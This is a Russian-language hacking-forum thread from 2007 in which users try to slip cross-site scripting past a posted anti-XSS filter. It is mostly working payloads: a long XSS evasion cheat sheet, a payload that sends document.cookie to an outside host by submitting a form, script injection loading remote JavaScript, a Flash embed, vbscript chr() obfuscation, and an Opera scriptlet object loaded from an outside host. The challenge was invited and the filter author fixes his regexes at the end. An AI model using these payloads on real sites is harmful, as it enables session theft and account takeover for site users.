Задачка для xss мастеров - обойти фильтр

Discussion in 'Уязвимости' started by Евгений Минаев, 26 Nov 2007.

  1. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Написал фильтр ксс , проверяет заголовки браузера юзер агент , реферер , а также заголовки которые должны передавать прокси на корректность.Ну и конечно весь массив данных GET POST COOKIE по сформированным правилам,также там присутствует алгоритм декодирования stringFromCharCode,хекс и урл кодирования.Ваша задача - заставить фильтр не заметить вашу xss и вывести ее,те обычная xss не годится если фильтр скажет Possilbe xss found.Гоу

    В идеале - нахождение недокумментированных разделителей для функций , таких как 0 для фаерфокса и 8 для эксплорера и прочих специальных символов.

    http://underwater.itdefence.ru/blog/antixss/ex.php​
     
    #1 Евгений Минаев, 26 Nov 2007
    Last edited: 26 Nov 2007
    5 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    слишком жесткая фильтрация
    действительно, задача не из легких
     
  3. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    Берем, пишем....

    Code:
    ' onClick="javascript: document.write('<script>alert(1)</script>')"
    Пишет поссибл хсс и все такое... но если клацнуть - увидим ожидаемый эффект... вставить можн соответственно не ток такую конструкцию, а то вздумаетси +)
     
    2 people like this.
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Бага найдена
     
  5. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    мдя.... на моем примере можно понять - необходимо не просто найти багу, а что бы фильтр не матюкнулся.
     
  6. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    Code:
    # Разделители атрибутов тега.
    Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.
    
    <image/src="1.png"/alt="Подсказка"/border="0">
    <image	src="1.png"	alt="Подсказка"	border="0">
    <image
    src="1.png"
    alt="Подсказка"
    border="0">
    <image src="1.png"alt="Подсказка"border="0">
    
    # Ограничители атрибутов тега
    Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
    
    <image src="" alt="Моя подсказка" border="0">
    <image src="" alt='Моя подсказка' border="0">
    <image src="" alt=`Моя подсказка` border="0">
    <image src="" alt=Подсказка border="0">
    
    # Кодировки символов
    Расшифровка символов в скрипте происходит до его выполнения:
    
    <img src=javascript:alert(&quot;ok&quot;)>
    <img src=javascript:alert('ok')>
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
    <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
    
    # Ограничители символьных литералов в скриптах
    
    <img src=javascript:alert('ok')>
    <img src=javascript:alert("ok")>
    <img src=javascript:a=/ok/;alert(a.source)>
    <img src=javascript:alert(String.fromCharCode(111,107))>
    
    # Обход фильтрации некоторых символов
    
    <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
    
    # Способы запуска скриптов
    Несколько способов автоматического запуска скриптов:
    
    <script>alert('ok')</script>
    <script src=1.js></script>
    <body onLoad=alert('ok')>
    <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
    <image src=1.png onload=alert('ok')>
    <image src=javascript:alert('ok')>
    <image src="" onerror=alert('ok')>
    <hr style=background:url(javascript:alert('ok'))>
    <span style=top:expression(alert('ok'))></span>
    <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)
    <style type="text/css">@import url(javascript:alert('ok'));</style>
    <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
    <embed src=javascript:alert('ok');this.avi>
    <embed src=javascript:alert('ok');this.wav>
    <iframe src=javascript:alert('ok')> (только в IE)
    <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)
    <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a>  (запуск только при клике по ссылке)
    <br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
    
    # Различные скриптовые протоколы, способы их написания
    
    <img src=javascript:alert()>
    <img src=vbscript:AleRt()>
    <img src=JaVasCriPt:alert()>
    <img src="   javascript:alert()"> (пробелы до слова javascript) 
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
    <img src=javascript&#9:alert()>
    <img src=javascript&#10:alert()>
    <img src=javascript&#13:alert()>
    <img src="javascript	:alert()">  (перед двоеточием - символ табуляции) 
    <img src="java	scri
    pt:ale	rt()"> (внутри слова javascript - символ табуляции и возврат каретки) 
    
    # Вставки скриптов в style
    Операторы скрипта в атрибуте style нужно разделять "\;".
    
    <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
    много чего срабатывает.
     
  7. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Интересный ресурс
    http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
    ну и саму IDS скачать
    http://php-ids.org/downloads/
     
  8. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    <a'a><img src=http://img.yandex.net/i/yandex-v9.gif>
    png+hex=IE, вспоминаем как IE обрабатывает графические файлы.
     
    _________________________
    #8 ettee, 27 Nov 2007
    Last edited: 4 Jan 2008
  9. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    мда.... если на то пошло, то и так:

    Code:
    'style='background-image:url(http://vdshark.heliosart.info/head.gif);
     
  10. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    PHP:
    'onmouseover  =  "this.action  =  'http://antichat.ru/';this.elements[0].value  = self['doc'  +  'ument']['coo'  +   'kie'];this.submit()"k='
    Бить врага его же оружием :)
     
    2 people like this.
  11. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Code:
    's><EMBED SRC=http://heliosart.info/test.swf AllowScriptAccess=always width=0 height=0><a'
    Код флешки:

    Code:
    _root.onLoad = function()
    {
    	getURL("javascript:alert('XSS')");
    }
    
     
    #11 Helios, 27 Nov 2007
    Last edited: 11 Dec 2007
    1 person likes this.
  12. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    Канешн вариант Хелиоса попрет, но он бут пахать ток если включен флеш. Вот я до сих пор не спал - но нашел решение :) Уж очень обидели мну слова ТС "эт максимум на что ты способен". И вот что имеем в итоге:
    Code:
    'onMouseOver  =  "t = document.createElement('script'); x = new String('http://vdshark.heliosart.info/1.js'); t.src = x; this.appendChild(t);"
    Спасиб Хелиосу за поддержку +)
     
    1 person likes this.
  13. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Молодцы , как и думал ошибка в регулярках , с табами недобрал , супер !​
     
  14. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    1. Мало кто из вас такое видел... ну, посмотрите же. :cool: Фильтрописатель забыл про визуалбейсикскрипт :( Совсем забыл :D Помнит, правда, про msgbox, но этого мало.

    Code:
    Filter rule  : (mocha|livescript|javascript|behavior|execute|eval|open|window|urlencode)\s*[={}\/():;&\+\-\^\[\|]
    PHP:

    'l><img src=vbscript:document.write(chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(97)&chr(108)&chr(101)&chr(114)&chr(116)&chr(40)&chr(39)&chr(76)&chr(101)&chr(118)&chr(101)&chr(114)&chr(79)&chr(110)&chr(101)&chr(39)&chr(41)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62))><o'

    Несмотря на перекрытие потока, фильтр пропустит (будет молчать) такой код, потому что
    1) не палит псевдо-vbscript
    2) фильтру неизвестен способ обфускации через vbs-функцию chr()

    Будет работать в IE 6, для IE 7.0 уязвимость будет пассивной: вставляться будет через тег "a".

    2.
    Там пробелы, но и с табами тоже.

    3. Следующий вариант очень ограничен в применении по причине фиксации в более поздних версиях, но его также следовало бы учесть. Приведу из первоисточника - ha.ckers.org/xss.html

    4. Еще знаю несколько способов обхода, потому что автор кое-что не учел, но считаю идеотизмом выкладывать способы, которые катят на более серьезных фильтрах крупных систем.
     
    #14 LeverOne, 27 Nov 2007
    Last edited: 27 Nov 2007
    1 person likes this.
  15. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Eсли регулярные выражения действительно такие, как показывается, "кое-что" там не одно.
    P.S. на больших проектах ещё сложнее сделать защиту,
    так как на огромном количестве сайтов есть доступные JS-функции (и переменные),
    название которых, конечно же, не фильтруется.
    Пожалуй, самый распространенный пример - глобальная переменная d = document; (кто фильтрует букву "d"?)
    Если она не объявлена скриптами самого сайта, то может быть объявлена в каком-нибудь счётчике.
     
    #15 astrologer, 28 Nov 2007
    Last edited: 28 Nov 2007
    1 person likes this.
  16. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    И не два, и не три. :D Этих "что-то" там МНОГО. И дело не только в том, сложно или легко учесть в регулярках все известное. Дело в самом знании нигде не записанного.

    Кстати, реальные регулярные выражения скрипта такие, как показывается :cool:

    Вот, например,

    Code:
    Input string : <script>
    Description  : Внедрение опасных html тегов
    Filter rule  : [<\s]((\/?)script(\/?))|((\/?)[i|I]frame(\/?))|(@import)((\/?)object(\/?))[\s>]
    
    Однако '<object>' на самом деле не фильтруется. В результате имеем XSS под Opera:

    PHP:
    'lo><OBJECT TYPE=text/x-scriptlet DATA='http://ha.ckers.org/scriptlet.html
    Код, ес-но, можно заточить.
     
    #16 LeverOne, 28 Nov 2007
    Last edited: 29 Nov 2007
  17. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Дамс , забыл поставить знак или | в регулярке , @import тоже катит получается...Думаю на этом можно остановиться ибо наделал я ошибок,надо исправлять​